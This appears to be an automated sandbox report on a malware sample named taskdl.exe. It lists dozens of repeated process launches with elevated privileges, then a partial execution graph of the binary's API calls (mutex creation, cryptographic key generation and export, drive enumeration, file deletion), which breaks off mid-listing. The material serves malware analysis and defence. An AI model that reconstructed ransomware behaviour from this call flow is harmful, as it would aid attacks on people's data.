                                                                                                                                                                              Start time:09:20:00
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:170
                                                                                                                                                                              Start time:09:20:00
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:171
                                                                                                                                                                              Start time:09:20:00
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:172
                                                                                                                                                                              Start time:09:20:00
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:173
                                                                                                                                                                              Start time:09:20:01
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:174
                                                                                                                                                                              Start time:09:20:01
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:175
                                                                                                                                                                              Start time:09:20:01
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:176
                                                                                                                                                                              Start time:09:20:01
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:177
                                                                                                                                                                              Start time:09:20:01
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:178
                                                                                                                                                                              Start time:09:20:02
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:179
                                                                                                                                                                              Start time:09:20:02
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:180
                                                                                                                                                                              Start time:09:20:02
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:181
                                                                                                                                                                              Start time:09:20:02
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:182
                                                                                                                                                                              Start time:09:20:02
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:183
                                                                                                                                                                              Start time:09:20:03
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:184
                                                                                                                                                                              Start time:09:20:03
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:185
                                                                                                                                                                              Start time:09:20:03
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:186
                                                                                                                                                                              Start time:09:20:03
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:187
                                                                                                                                                                              Start time:09:20:03
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:188
                                                                                                                                                                              Start time:09:20:04
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:189
                                                                                                                                                                              Start time:09:20:04
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:190
                                                                                                                                                                              Start time:09:20:04
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:191
                                                                                                                                                                              Start time:09:20:04
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:192
                                                                                                                                                                              Start time:09:20:05
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:193
                                                                                                                                                                              Start time:09:20:05
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:194
                                                                                                                                                                              Start time:09:20:05
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:195
                                                                                                                                                                              Start time:09:20:05
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:196
                                                                                                                                                                              Start time:09:20:05
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:197
                                                                                                                                                                              Start time:09:20:06
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:198
                                                                                                                                                                              Start time:09:20:06
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:199
                                                                                                                                                                              Start time:09:20:06
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:200
                                                                                                                                                                              Start time:09:20:06
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:201
                                                                                                                                                                              Start time:09:20:06
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:202
                                                                                                                                                                              Start time:09:20:07
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:203
                                                                                                                                                                              Start time:09:20:07
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:204
                                                                                                                                                                              Start time:09:20:07
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:205
                                                                                                                                                                              Start time:09:20:07
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              Disassembly

                                                                                                                                                                              Reset < >

                                                                                                                                                                                Execution Graph

                                                                                                                                                                                Execution Coverage:0.5%
                                                                                                                                                                                Dynamic/Decrypted Code Coverage:99.7%
                                                                                                                                                                                Signature Coverage:19.5%
                                                                                                                                                                                Total number of Nodes:733
                                                                                                                                                                                Total number of Limit Nodes:1
                                                                                                                                                                                execution_graph 1448 10005ae0 1449 10005d64 1448->1449 1450 10005b0c 1448->1450 1494 10004690 CreateMutexA 1450->1494 1452 10005b11 1452->1449 1453 10005b19 GetModuleFileNameW wcsrchr 1452->1453 1454 10005b70 SetCurrentDirectoryW 1453->1454 1455 10005b61 wcsrchr 1453->1455 1498 10001000 1454->1498 1455->1454 1457 10005b87 1457->1449 1508 100012d0 1457->1508 1462 10005ba9 sprintf sprintf sprintf 1521 10004600 OpenMutexA 1462->1521 1464 10005be2 1465 10005d42 CreateThread WaitForSingleObject CloseHandle 1464->1465 1529 10004500 sprintf GetFileAttributesA 1464->1529 1465->1449 2125 10004990 1465->2125 1467 10005bf3 1467->1465 1468 10005bfe ??2@YAPAXI 1467->1468 1469 10005c1e 1468->1469 1470 10005c17 1468->1470 1469->1449 1543 10003ac0 1469->1543 1542 10003a10 InitializeCriticalSection 1470->1542 1473 10005c48 1473->1449 1564 100046d0 CreateFileA 1473->1564 1475 10005c55 1476 10005c61 DeleteFileA 1475->1476 1477 10005c8e 1475->1477 1567 10004420 CryptGenRandom 1476->1567 1568 10003bb0 1477->1568 1482 10005cba CloseHandle 1483 10005cbd Sleep CreateThread 1482->1483 1484 10005cd7 CloseHandle 1483->1484 1485 10005cda Sleep CreateThread Sleep CreateThread 1483->1485 2134 100045c0 1483->2134 1484->1485 1486 10005d05 CloseHandle 1485->1486 1487 10005d08 Sleep CreateThread 1485->1487 2139 10005730 GetLogicalDrives 1485->2139 2145 10005300 1485->2145 1486->1487 1488 10005d21 CloseHandle 1487->1488 1489 10005d24 Sleep 1487->1489 2151 10004990 31 API calls 1487->2151 1488->1489 1572 100057c0 1489->1572 1492 10005d31 WaitForSingleObject CloseHandle 1493 10005d3d 1492->1493 1493->1449 1495 100046c1 1494->1495 1496 100046a6 GetLastError 1494->1496 1495->1452 1496->1495 1497 100046b3 FindCloseChangeNotification 1496->1497 1497->1452 1499 1000100a fopen 1498->1499 1501 1000102a 1499->1501 1502 1000105f 1499->1502 1503 10001043 fwrite 1501->1503 1504 10001036 fread 1501->1504 1502->1457 1505 1000104e 1503->1505 1504->1505 1506 10001064 fclose 1505->1506 1507 10001056 fclose 1505->1507 1506->1457 1507->1502 1613 100011d0 GetCurrentProcess OpenProcessToken 1508->1613 1510 100012fb 1511 10001303 1510->1511 1512 1000130f GetUserNameW 1510->1512 1513 10001331 _wcsicmp 1511->1513 1512->1513 1514 1000133e 1513->1514 1515 10003410 1514->1515 1629 10004440 1515->1629 1517 10003416 1518 10003427 1517->1518 1519 1000342e LoadLibraryA 1517->1519 1518->1449 1518->1462 1519->1518 1520 10003443 7 API calls 1519->1520 1520->1518 1522 1000461a CloseHandle 1521->1522 1523 1000462b sprintf CreateMutexA 1521->1523 1522->1464 1524 1000467b 1523->1524 1525 1000465d GetLastError 1523->1525 1634 100013e0 6 API calls 1524->1634 1525->1524 1527 1000466a CloseHandle 1525->1527 1527->1464 1528 10004681 1528->1464 1530 100045a2 1529->1530 1531 10004543 GetFileAttributesA 1529->1531 1530->1467 1531->1530 1532 1000454f 1531->1532 1635 10003a10 InitializeCriticalSection 1532->1635 1534 10004558 1636 10003d10 1534->1636 1536 10004573 1537 10004583 1536->1537 1538 1000459d 1536->1538 1649 10003a60 DeleteCriticalSection 1537->1649 1650 10003a60 DeleteCriticalSection 1538->1650 1541 10004588 1541->1467 1542->1469 1544 10003aca 1543->1544 1545 10003add 1544->1545 1546 10003ace 1544->1546 1548 10003ae5 1545->1548 1549 10003b16 1545->1549 1547 10003bb0 CryptReleaseContext 1546->1547 1551 10003ad5 1547->1551 1552 10003b95 1548->1552 1553 10003bb0 CryptReleaseContext 1548->1553 1663 10003c00 1549->1663 1551->1473 1552->1473 1554 10003b0e 1553->1554 1554->1473 1555 10003bb0 CryptReleaseContext 1556 10003b8d 1555->1556 1556->1473 1557 10003b1e 1557->1552 1563 10003b82 1557->1563 1667 10004040 CryptExportKey 1557->1667 1559 10003b63 1560 10003b7a 1559->1560 1559->1563 1675 10003c40 1559->1675 1562 10003c00 6 API calls 1560->1562 1562->1563 1563->1552 1563->1555 1565 100046f3 1564->1565 1566 100046f8 ReadFile CloseHandle 1564->1566 1565->1475 1566->1475 1567->1477 1569 10003bba 1568->1569 1570 10003bf4 CreateThread 1569->1570 1571 10003be4 CryptReleaseContext 1569->1571 1570->1482 1570->1483 2119 10004790 1570->2119 1571->1570 1698 10001590 1572->1698 1574 100057e8 1704 10001830 1574->1704 1576 1000580c 1577 10005814 GetFileAttributesA 1576->1577 1610 10005aab 1576->1610 1581 10005824 1577->1581 1579 1000583c time 1714 10004730 CreateFileA 1579->1714 1581->1579 1592 10005881 1581->1592 1584 10005850 sprintf 1717 10001080 CreateProcessA 1584->1717 1588 10005875 1590 10001000 5 API calls 1588->1590 1590->1592 1725 10004cd0 GetFileAttributesW 1592->1725 1593 100058ba InterlockedExchange 1594 1000591c GetLogicalDrives 1593->1594 1605 1000589b 1593->1605 1594->1605 1595 10001080 6 API calls 1595->1605 1596 1000599d InterlockedExchange 1772 10004a40 SHGetFolderPathW wcslen 1596->1772 1597 1000595f GetDriveTypeW 1597->1605 1599 10005972 GetDriveTypeW 1599->1605 1600 100059b8 1602 100059f4 time 1600->1602 1603 100059ce sprintf 1600->1603 